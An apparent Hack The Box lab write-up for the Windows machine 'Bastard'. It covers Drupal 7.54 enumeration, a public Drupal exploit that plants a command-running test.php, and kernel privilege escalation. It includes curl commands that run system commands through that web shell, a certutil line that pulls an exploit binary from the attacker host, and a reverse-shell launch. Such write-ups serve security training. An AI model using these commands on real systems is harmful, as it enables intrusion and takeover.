# HTB | Bastard

This is a Windows box. You can find it [here](https://app.hackthebox.com/machines/Bastard).

#### Skill Learned

* Enumerating CMS versions (Drupal)&#x20;
* Exploit modification&#x20;

## NMAP

IP: 10.10.10.9

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FmQxszYZEmtjddy5jIMiA%2Fimage.png?alt=media&#x26;token=ef3f047b-1d8d-4e03-95bb-ea009d6f8980" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FqhWw5amFTnwscexcTuZ7%2Fimage.png?alt=media&#x26;token=32ce1d9b-51e0-4368-8daa-41822f175a4d" alt=""><figcaption><p>nmap scan</p></figcaption></figure>

### Port 80

We found a Drupal website

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F1563g3dvpkX5k9Es8nRX%2Fimage.png?alt=media&#x26;token=acf9f393-fd00-4be9-8602-6b9844843814" alt=""><figcaption><p>port 80</p></figcaption></figure>

In robots.txt we found CHANGELOG.txt

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FmeQU8VFRJ8gJGrULhBmD%2Fimage.png?alt=media&#x26;token=958a0220-f25f-49da-b4c3-c1f059e194e0" alt=""><figcaption><p>/robots.txt</p></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FibzTXZTycCyBTBaSWrFn%2Fimage.png?alt=media&#x26;token=9e3f7c5c-ca87-4cd6-9a67-4b89a86bdcbd" alt=""><figcaption><p>/changelog.txt</p></figcaption></figure>

We found Drupal 7.54

## Foothold/shell and Priv Esc

Found Drupalgeddon3 on searchsploit

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F7YVBdiPg25nhIhi3ugK6%2Fimage.png?alt=media&#x26;token=abc87d46-a852-4bd4-a23d-7a685c0b60c7" alt=""><figcaption><p>searchsploit</p></figcaption></figure>

Msf exploit was not working

Let's try [this](https://www.exploit-db.com/exploits/41564). Change the URL, endpoint\_path, filename, data

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F6zVbvfUmJAtD8fIjFH8n%2Fimage.png?alt=media&#x26;token=06125c59-7b7d-4b40-801d-1b40ab5b049d" alt=""><figcaption></figcaption></figure>

and run

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F5oJbzB0XguXOYouzXuMy%2Fimage.png?alt=media&#x26;token=f8cc3974-7cc5-46b1-b4c6-9353008c41cc" alt=""><figcaption><p>running php</p></figcaption></figure>

It gave us two files user.json and session.json

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F90OJNMSOhHSOMW3ZeBDB%2Fimage.png?alt=media&#x26;token=d2b39c04-e7e3-4202-8ea7-0b175337215a" alt=""><figcaption><p>user.json</p></figcaption></figure>

Let's try and crack administrator hash

```
hashcat -m 7900 admin.hash /home/anurag/Downloads/rockyou.txt --force
```

It is taking too much time, We have an alternate way. Remember we have test.php on the server. We can curl&#x20;

```
curl http://10.10.10.9/test.php?cmd=whoami
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F39iSX9xwTudxf4EjcsyT%2Fimage.png?alt=media&#x26;token=08718549-5ebc-47a9-aaa3-dddf4e86d836" alt=""><figcaption><p>curl http://10.10.10.9/test.php?cmd=whoami</p></figcaption></figure>

Let's use windows-exploit-suggester&#x20;

copy systeminfo

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fh5L2nGPlso1joUSgMMIR%2Fimage.png?alt=media&#x26;token=d3b8e96c-523b-4222-a745-11e3d50d2ba5" alt=""><figcaption><p>systeminfo</p></figcaption></figure>

update the database and run

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F4JP9z8Gxo8Z3Gk9BcUKh%2Fimage.png?alt=media&#x26;token=19361adf-3707-4599-81fd-4d20a4a915a9" alt=""><figcaption><p>windows-exploit-suggester</p></figcaption></figure>

Let's use [this](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS10-059)&#x20;

We will copy the exe on the box&#x20;

```
curl http://10.10.10.9/test.php?cmd="certutil%20-urlcache%20-f%20http://10.10.14.14:80/MS10-059.exe%20MS10-059.exe"
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F3vPOetCuhfJQpOcJB7jA%2Fimage.png?alt=media&#x26;token=9c5eb74b-da33-4976-a88d-86584648ad77" alt=""><figcaption><p>putting exploit</p></figcaption></figure>

Let's run it

```
curl http://10.10.10.9/test.php?cmd="MS10-059.exe%2010.10.14.14%201234"
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F1p2DJFRaIIWalm2I3jRm%2Fimage.png?alt=media&#x26;token=15341c6d-9802-4a3f-8f9c-75218c5f07ac" alt=""><figcaption><p>running exploit</p></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F9mAhJXcfVvjhQTFEsq8X%2Fimage.png?alt=media&#x26;token=9b5d4920-6383-4189-abe9-bc597ef6275d" alt=""><figcaption><p>geting shell</p></figcaption></figure>

and we are nt\authority

Found user.txt

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FlkRFIWdrJqajNZ3DG31q%2Fimage.png?alt=media&#x26;token=bcb0065d-332f-40de-ba96-3edc26a85d07" alt=""><figcaption><p>user.txt</p></figcaption></figure>

found root.txt

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FeovFL4iLGa6pAkByIrzq%2Fimage.png?alt=media&#x26;token=3c5b3539-a4b2-4718-9612-f0b9b2664e5a" alt=""><figcaption><p>root.txt</p></figcaption></figure>
